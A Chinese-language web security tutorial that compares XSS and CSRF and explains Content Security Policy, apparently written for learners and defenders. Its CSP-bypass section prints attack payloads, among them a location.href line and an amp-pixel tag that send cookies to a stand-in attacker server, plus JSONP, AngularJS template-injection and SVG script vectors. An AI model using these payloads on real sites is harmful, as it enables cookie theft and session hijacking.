一场XSS和CSRF引发的血案

概论

本文前半部分从四个角度讨论XSS与CSRF的区别与共性——原理,利用,绕过,防御。更多的站在防守方的角度,通过对比学习的方式更加辩证性的理解两个漏洞。后半部分深入分析防御XSS等一系列前端安全问题的新思路——内容安全策略(CSP),以及一些笔者关于前端安全的一些思考。

漏洞理解

web安全基础

同源策略

从域和授权这两个概念理解同源策略。

  • 域分为域名和端口三个不部分。协议、域名和端口必须全部相同,才属于同源
  • 通常情况下,不同域之间是不能相互访问资源的。只有被访问域的响应头中包含相关的origin,才会给相应的域授权访问。即通过origin可以拒绝授权某些跨域请求

也就是说:同源策略分割和保护了Web 资源,通过限制非同域资源的访问,有效的阻止了攻击者的窃取和破坏行为

这两个机制都是常用的会话跟踪技术。session 机制与 Cookie 机制不同的是,Cookie 是客户端机制,而 Session 则是服务端机制。在实际 Web 应用中,会话机制通常作为一种认证用户身份的手段。因此也是各大攻击场景中的首要攻击目标。


xss

跨站脚本攻击:攻击者脚本 嵌入 被攻击网站,获取用户cookie等隐私信息。

攻击者对客户端网页注入的恶意脚本一般包括 JavaScript,有时也会包含 HTML 和 Flash。当用户浏览该页之时,嵌入其中 Web 里面的脚本代码会被执行。有很多种方式进行 XSS 攻击,但它们的共同点为:将一些隐私数据像 cookie、session 发送给攻击者,将受害者重定向到一个由攻击者控制的网站,在受害者的机器上进行一些恶意操作。

分类主要是:反射型、存储型、DOM型

反射型:应用程序从请求中获取一些输入并以不安全的方式将该输入嵌入到即时响应

特点:

  • 即时性。不经过服务器存储,直接通过 HTTP 的 GET 和 POST 请求就能完成一次攻击,拿到用户隐私数据;
  • 攻击者需要诱骗点击;
  • 反馈率低,所以较难发现和响应修复;
  • 盗取用户敏感保密信息

存储型:攻击脚本将被永久地存放在目标服务器端(数据库,内存,文件系统等)

特点:

  • 持久性,植入在数据库中;
  • 危害面广,甚至可以让用户机器变成 DDoS 攻击的肉鸡;
  • 盗取用户敏感私密信息。

DOM型:DOM XSS直接通过javascript执行,程序并不会返回后台进行处理。

特点:

  • DOM xss属于是前端的安全问题,服务端的防御都无效
  • 和反射型一样只能通过诱导受害者点击链接

绕过

  • 大小写绕过
  • 复写绕过
  • 使用js事件绕过标签括号等
  • 编码绕过

防护

  • 设置HttpOnly标志,防止非法用户通过Javascript读取cookie

  • Web 页面渲染的所有内容或者渲染的数据都尽量来自于服务端;

  • 尽量不要从 URL,document.referrer,document.forms 等这种 API 中获取数据直接渲染;

  • 前端渲染的时候对字段做转义编码(htmlencode,jsencode),特别是一些高频利用字段(<,>,”,’)

  • 白名单-使用第三方库XSS,支持指定白名单

  • 输入验证,对输入的数据进行严格的转义和编码,过滤

    • 将不可信数据插入到HTML URL里时,对这些数据进行URL编码
    • 对动态生成的JavaScript代码,这包括脚本部分以及HTML标签的事件处理属性(Event Handler,如onmouseover, onload)等进行Javascript编码。
    • 往 HTML 标签之间插入不可信数据的时候,首先要做的就是对不可信数据进行 HTML Entity 编码 HTML 字符实体
  • 服务端的输出检查,使用编码或转义的方式来防御 XSS 攻击。

    • 例如利用sanitize-html对输出内容进行有规则的过滤之后再输出到页面中。
  • 输入长度限制


CSRF

跨站请求伪造:已登录用户 访问 攻击者网站,攻击网站向被攻击网站发起恶意请求(利用浏览器会自动携带cookie)。

用户在一个没有保护的网站下处于登录状态,并在不知情的情况下用同一个浏览器访问了攻击者发来含 有恶意代码的网址,导致攻击者使用了用户的身份(cookie)在网站中执行恶意操作

分类主要是:GET型、POST型

GET型

攻击者直接诱导受害者恶意的URL链接,如果服务器没有对该请求做判断的话,就会自动发起GET请求从而利用受害者身份进行一系列操作。

POST型

攻击者需要在他的站点上伪造 POST 请求,当用户打开该站点时,自动提交 POST 请求。

绕过

  • Referer源绕过
    • 置空:删除referer内容
    • 子域名:因为开发的正则问题可能存在子域名这种绕过方式,比如 httpx://baidu.weiyigeek.com 我们让baidu变成子域名这样就绕过了比较弱的正则了
    • 修改域名:如果原来的的 httpx://dafsec.weiyigeek.org ,那么可以改成
    • httpx://adafsec.weiyigeek.org
    • 删除 X-CSRFToken 报头然后将POST请求改为GET
  • Token Bypass
    • 删除Token参数字段
    • 替换相同长度的值
    • 解码CSRF令牌
    • 仅使用令牌的静态部分
    • 配合XSS等html注入手法获取token,随机发动CSRF攻击
  • X-Request-with Bypass
    • 利用swf进行绕过
    • 前提条件:
      • 可利用swf未校验referer和origin 的bypass 含json xml格式的数据,
      • 可使用swf添加X-Request-With
    • 工具: httpx://github.com/Qclover/CSRF
  • 旁路cookie注入绕过
    • 描述:攻击者可以通过cookie注入绕过双重提交cookie保护
      • cookie注入的方法: CRLF-injection (HTML响应拆分注入漏洞)
      • Browser bugs (like CVE-2016-9078 in Firefox)

防护

原理

CSRF攻击防御的重点是利用cookie的值只能被第一方读取,无法读取第三方的cookie值:

一个简单可行的方法就是在客户端网页上再次添加一个cookie,保存一个随机数,而用户访问的时候,先读取这个cookie的值,hash一下这个cookie值并发送给服务器,服务器接收到用户的hash之后的值,同时取出之前设置在用户端的cookie的值,用同样的算法hash这个cookie值,比较这两个hash值,相同则是合法。(如果用户访问了病毒网站,也想带这个cookie去访问的时候,此时,因为病毒网站无法获取第三方cookie的值,所以他也就无法hash这个随机数,所以也就会被服务器校验的过滤掉)

具体防御方法

  • 验证 HTTP Referer 字段;

  • 在请求地址中添加完备的 token 并验证;

  • 在 HTTP 头中自定义属性并验证

    • 这种方法也是使用 token 并进行验证,和上一种方法不同的是,这里并不是把 token 以参数的 形式置于 HTTP 请求之中,而是把它放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest

      这个类,可以一次性给所有该类请求加上 csrftoken 这个 HTTP 头属性,并把 token 值放入 其中。这样解决了上种方法在请求中加入 token 的不便,同时,通过 XMLHttpRequest 请求 的地址不会被记录到浏览器的地址栏,也不用担心 token 会透过 Referer 泄露到其他网站中 去。

  • Chrome 浏览器端启用 SameSite cookie,也就是禁用第三方cookie。或者开发时使用SameSite并设置为strict

  • 使用验证码,验证码会强制用户必须与应用进行交互,才能完成最终请求。是的用户无法在不知觉的情况下进行恶意操作

对比学习

原理

CSRF和XSS都是客户端攻击,它们滥用同源策略,利用web应用程序和受害用户之间的信任关系。从而利用受害者的身份或Cookie信息进行其他操作。

但是,XSS 和 CSRF 攻击之间存在一些原理上的差异:

XSS产生原因类似于SQL注入,源于用户输入的数据被当成了代码执行,而CSRF产生原因更像是浏览器为了增加用户的使用体验弱化一些跨域和第三方Cookie登录的验证。

所以本质上讲,XSS 是代码注入问题,属于’攻击’,CSRF 是 HTTP 问题,属于’伪造’

XSS 是内容没有过滤导致浏览器将攻击者的输入当代码执行,算是一个漏洞层面问题。CSRF 则是因为浏览器在发送 HTTP 请求时候自动带上 cookie,而一般网站的 session 都存在 cookie 里面,算是一个关于http和浏览器设计机制层面的问题。

其次,XSS 利用的是用户对指定网站的信任,恶意代码存储在站点中,CSRF 利用的是网站对用户网页浏览器的信任,恶意代码存储在受害用户访问的第三方站点中。

利用

  • XSS通过诱导受害者点击恶意链接或诱导服务器恶意渲染恶意代码来窃取登录信息、cooki、执行服务端命令等。而CSRF则是通过受害者点击恶意链接,重点是利用其身份发起一系列HTTP请求。二者都能到到啊一种类似于越权的效果。
  • CSRF攻击的范围有限,仅限于用户可以执行的操作,例如点击恶意链接或访问恶意网站。相反,XSS攻击提供执行恶意脚本来执行攻击者所选择的任何活动,扩大了攻击的范围。
  • XSS攻击遵循双向攻击模式,允许攻击者执行恶意脚本、访问响应,并将后续敏感数据发送到攻击者选择的目的地。而CSRF是一种单向攻击机制,这意味着攻击者只能发起HTTP请求,但不能检索已发起请求的响应。

绕过

XSS主要是通过绕过网站对输入的编码,黑名单等限制,从而成功的把代码注入进客户端或者存储进服务器中。而CSRF要考虑的首要问题是解决浏览器第三方cookie访问的问题,通过Refer源Bypass,Token Bypass,X-Request-with Bypass等绕过浏览器和服务器的检查从而实现跨站的请求伪造。

防护

XSS防护主要是降低用户端对服务端之间的双向信任,加强对用户输入和服务端输出的校验。主要手段是加强各种编码和转义,添加黑白名单,使用Http only等。

而CSRF防护主要是解决浏览器第三方cookie访问限制的问题,具体方法是添加HTTP Referer 字段验证, 添加HTTP 头中自定义属性防护,使用完备的 token,启用 SameSite cooki,使用验证码等。

CSP

内容安全策略 CSP(Content-Security-Policy)是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本(XSS)和数据注入攻击等。

CSP 被设计成完全向后兼容(除 CSP2 在向后兼容有明确提及的不一致; )。不支持 CSP 的浏览器也能与实现了 CSP 的服务器正常工作,反之亦然:不支持 CSP 的浏览器只会忽略它,如常运行,默认为网页内容使用标准的同源策略。如果网站不提供 CSP 标头,浏览器也使用标准的同源策略。

威胁

防止XSS攻击

XSS 攻击利用了浏览器对于从服务器所获取的内容的信任。恶意脚本在受害者的浏览器中得以运行。

CSP 通过指定有效域——即浏览器认可的可执行脚本的有效来源——使服务器管理者有能力减少或消除 XSS 攻击所依赖的载体。一个 CSP 兼容的浏览器将会仅执行从白名单域获取到的脚本文件,忽略所有的其他脚本(包括内联脚本和 HTML 的事件处理属性)。

作为一种终极防护形式,始终不允许执行脚本的站点可以选择全面禁止脚本执行。

CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。严格规定页面中哪些资源允许有哪些资源,不在指定范围内的统统拒绝。它的实现和执行全部由浏览器完成,开发者只需提供配置。因此CSP大大增强的网页的安全性,攻击者即使发现了漏洞也没办法注入脚本,除非能想办法绕过白名单限制。

缓解数据包嗅探攻击

除限制可以加载内容的域,服务器还可指明哪种协议允许使用;比如(从理想化的安全角度来说),服务器可指定所有内容必须通过 HTTPS 加载。一个完整的数据安全传输策略不仅强制使用 HTTPS 进行数据传输,也为所有的 cookie 标记 secure 标识,并且提供自动的重定向使得 HTTP 页面导向 HTTPS 版本。网站也可以使用 Strict-Transport-Security HTTP 标头确保连接它的浏览器只使用加密通道。

使用CSP

第一种是配置内容安全策略涉及到添加 Content-Security-Policy HTTP 标头到一个页面,并配置相应的值,以控制用户代理(浏览器等)可以为该页面获取哪些资源。第二种是通过网页的meta标签。

CSP可以由两种方式指定: HTTP Header 和 HTML。

  • 通过定义在HTTP header 中使用:

    1
    Content-Security-Policy: 策略集
  • 通过定义在 HTML meta标签中使用:

    1
    <meta http-equiv="content-security-policy" content="策略集">

Content-Security-Policy方式举例

  • 一个网站管理者想要所有内容均来自站点的同一个源(不包括其子域名)。

    1
    Content-Security-Policy: default-src 'self'
  • 一个网站管理者允许内容来自信任的域名及其子域名(域名不必须与 CSP 设置所在的域名相同)。

    1
    Content-Security-Policy: default-src 'self' *.trusted.com
  • 一个网站管理者允许网页应用的用户在他们自己的内容中包含来自任何源的图片,但是限制音频或视频需从信任的资源提供者,所有脚本必须从特定主机服务器获取可信的代码。

    1
    Content-Security-Policy: default-src 'self'; img-src *; media-src media1.com media2.com; script-src userscripts.example.com

    在这里,各种内容默认仅允许从文档所在的源获取,但存在如下例外:

    • 图片可以从任何地方加载 (注意“*”通配符)。
    • 多媒体文件仅允许从 media1.com 和 media2.com 加载(不允许从这些站点的子域名)。
    • 可运行脚本仅允许来自于 userscripts.example.com。
  • 一个管理者想要确保网站的所有内容都要通过 SSL 方式获取,以避免攻击者窃听用户发出的请求。

    1
    Content-Security-Policy: default-src https://onlinebanking.jumbobank.com

    该服务器仅允许通过 HTTPS 方式并仅从 onlinebanking.jumbobank.com 域名来访问文档。

meta标签举例

  • 允许自身css、js和高德地图api、地图数据。
1
<meta http-equiv="Content-Security-Policy" content="style-src 'self' 'unsafe-inline';script-src 'self' 'unsafe-inline' 'unsafe-eval' https://webapi.amap.com https://restapi.amap.com https://vdata.amap.com https://appx/web-view.min.js;worker-src blob:">

总结:两种方式本质都是通过Content-Security-Policy来:

​ 1.配置允许的域名子域名。

​ 2.限制只能通过SSL方式获取

指令说明:

资源加载限制

  • **script-src**:外部脚本
  • **style-src**:样式表
  • **img-src**:图像
  • **media-src**:媒体文件(音频和视频)
  • **font-src**:字体文件
  • **object-src**:插件(比如 Flash)
  • **child-src**:框架
  • **frame-ancestors**:嵌入的外部资源(比如<frame><iframe><embed><applet>
  • **connect-src**:HTTP 连接(通过 XHR、WebSockets、EventSource等)
  • **worker-src**:worker脚本
  • **manifest-src**:manifest 文件

default-src

default-src用来设置上面各个选项的默认值。如:default-src ‘self’–>限制所有的外部资源,都只能从当前域名加载。

其他限制

  • **block-all-mixed-content**:HTTPS 网页不得加载 HTTP 资源(浏览器已经默认开启)
  • **upgrade-insecure-requests**:自动将网页上所有加载外部资源的 HTTP 链接换成 HTTPS 协议
  • **plugin-types**:限制可以使用的插件格式
  • **sandbox**:浏览器行为的限制,比如不能有弹出窗口等。

绕过CSP

看起来如果要继续尝试XSS的话第一步就是先突破CSP对跨域访问的限制。

找了几种尝试绕过的方法:

location.href

CSP不影响location.href跳转,因为当今大部分网站的跳转功能都是由前端实现的,CSP如果限制跳转会影响很多的网站功能。所以,用跳转来绕过CSP获取数据是一个万能的办法,虽然比较容易被发现,但是在大部分情况下对于我们已经够用
当我们已经能够执行JS脚本的时候,但是由于CSP的设置,我们的cookie无法带外传输,就可以采用此方法,将cookie打到我们的vps上

1
location.href = "vps_ip:xxxx?"+document.cookie

此种绕过方式适用于:已经能够执行JS脚本,需要外带数据的情况。

关于此种情况还有一种基于Link标签的绕过,但是好像比较古老现在大部分浏览器已经约束此标签导致不适用了

Iframe绕过

当一个同源站点,同时存在两个页面,其中一个有CSP保护的A页面,另一个没有CSP保护B页面,那么如果B页面存在XSS漏洞,我们可以直接在B页面新建iframe用javascript直接操作A页面的dom,可以说A页面的CSP防护完全失效

有点类似于CSRF的感觉:

1
2
3
4
5
6
7
8
9
<!-- B页面 -->
<body>
<script>
var iframe = document.createElement('iframe');
iframe.src="A页面"; //通过iframe来操作
document.body.appendChild(iframe);
setTimeout(()=>alert(iframe.contentWindow.document.getElementById('flag').innerHTML),1000); //setTimeout是为了留时间给iframe加载
</script>
</body>

jsonp绕过

大部分站点的jsonp是完全可控的,只不过有些站点会让jsonp不返回html类型防止直接的反射型XSS,但是如果将url插入到script标签中,除非设置x-content-type-options头,否者尽管返回类型不一致,浏览器依旧会当成js进行解析
以ins’hack 2019/的bypasses-everywhere这道题为例,题目中的csp设置了www.google.com

1
Content-Security-Policy: script-src www.google.com; img-src *; default-src 'none'; style-src 'unsafe-inline'

看上去非常天衣无缝,但是google站点存在了用户可控jsonp

1
2
3
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src https://www.google.com">

<script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert"></script>

配合注释符,我们即可执行任意js
下面是一些存在用户可控资源或者jsonp比较常用站点的github项目
https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/jsonp.js#L32-L180
利用条件:

  1. 站点存在可控Jsonp
  2. 站点在CSP白名单中

CDN绕过

一般来说,前端会用到许多的前端框架和库,部分企业为了减轻服务器压力或者其他原因,可能会引用其他CDN上的JS框架,如果CDN上存在一些低版本的框架,就可能存在绕过CSP的风险

举例

  • 某个案例中hackmd里的CSP引用了cloudflare.com CDN服务,于是采用低版本的angular js模板注入来绕过CSP,如下
1
2
3
4
5
6
7
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://cdnjs.cloudflare.com;">
<!-- foo="-->
<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js>
</script>
<div ng-app>
{{constructor.constructor('alert(document.cookie)')()}}
</div>
  • 例如假设页面中使用了Jquery-mobile库,并且CSP策略中包含”script-src ‘unsafe-eval’”或者”script-src ‘strict-dynamic’”,那么下面的向量就可以绕过CSP:

    1
    <div data-role=popup id='<script>alert(1)</script>'></div>
  • 还有一些库也可以被利用,例如RCTF2018中遇到的amp库,下面的标签可以获取名字为FLAG的cookie

    1
    <amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>  

补充:blackhat2017有篇ppt总结了可以被用来绕过CSP的一些JS库

SVG绕过

SVG作为一个矢量图,但是却能够执行javascript脚本,如果页面中存在上传功能,并且没有过滤svg,那么可以通过上传恶意svg图像来xss

1
2
3
4
5
6
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve"> <image id="image0" width="751" height="751" x="0" y="0"
href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>alert(1)</script> //注入javasript
</svg>

CRLF绕过

HCTF2018的一道题,当一个页面存在CRLF漏洞时,且我们的可控点在CSP上方,就可以通过注入回车换行,将CSP挤到HTTP返回体中,这样就绕过了CSP
原题github

其他

还有其他的绕过方式,多出现在国外的很多CTF比赛中

  • 站点可控静态资源绕过
  • Base-uri绕过
  • 不完整script标签绕过nonce
  • object-src绕过(PDFXSS)
  • 不完整的资源标签获取资源
  • CSS选择器获取内容

总结

内容安全策略 CSP确实在一定程度上检测并削弱某些特定类型的攻击,特别是XSS和数据注入攻击等前端攻击,进一步加强了浏览器的同源策略。但是也需要开发者正确严格配置,同时绕过方式也很多。很多实战场景下直接利用location.href或者其他同站点的跳转就能成功绕过。但是其利用白名单杜绝注入脚本的思路非常正确。

关于前端安全的一些思考

前端安全看似危害很小但是很多时候往往是一个网站乃至整个域溃败的第一步。而XSS和CSRF又是前端安全问题的主要重灾区。二者在原理上有很多共性也有很多区别。

XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。归根到底就是一个信任问题,站在防护的角度,自然是尽可能的降低浏览器、客户端、服务端各自之间的信任度。或者说,严格校验这三方之间交互的过程中数据的可信度。编码,转义,增加登录验证token验证,CSP限制跨域等等都是为了实现这个问题。然而站在业务的角度上考虑,在这验证过程中又要加上用户体验感和网站服务度的考量,最终应该是各个角度综合考虑下的折中方案。

总而言之,CSP策略的完善,加强同源策略的实施;和研究更加完备的方案进制第三方cookie的滥用,将是一个任重而道远的任务。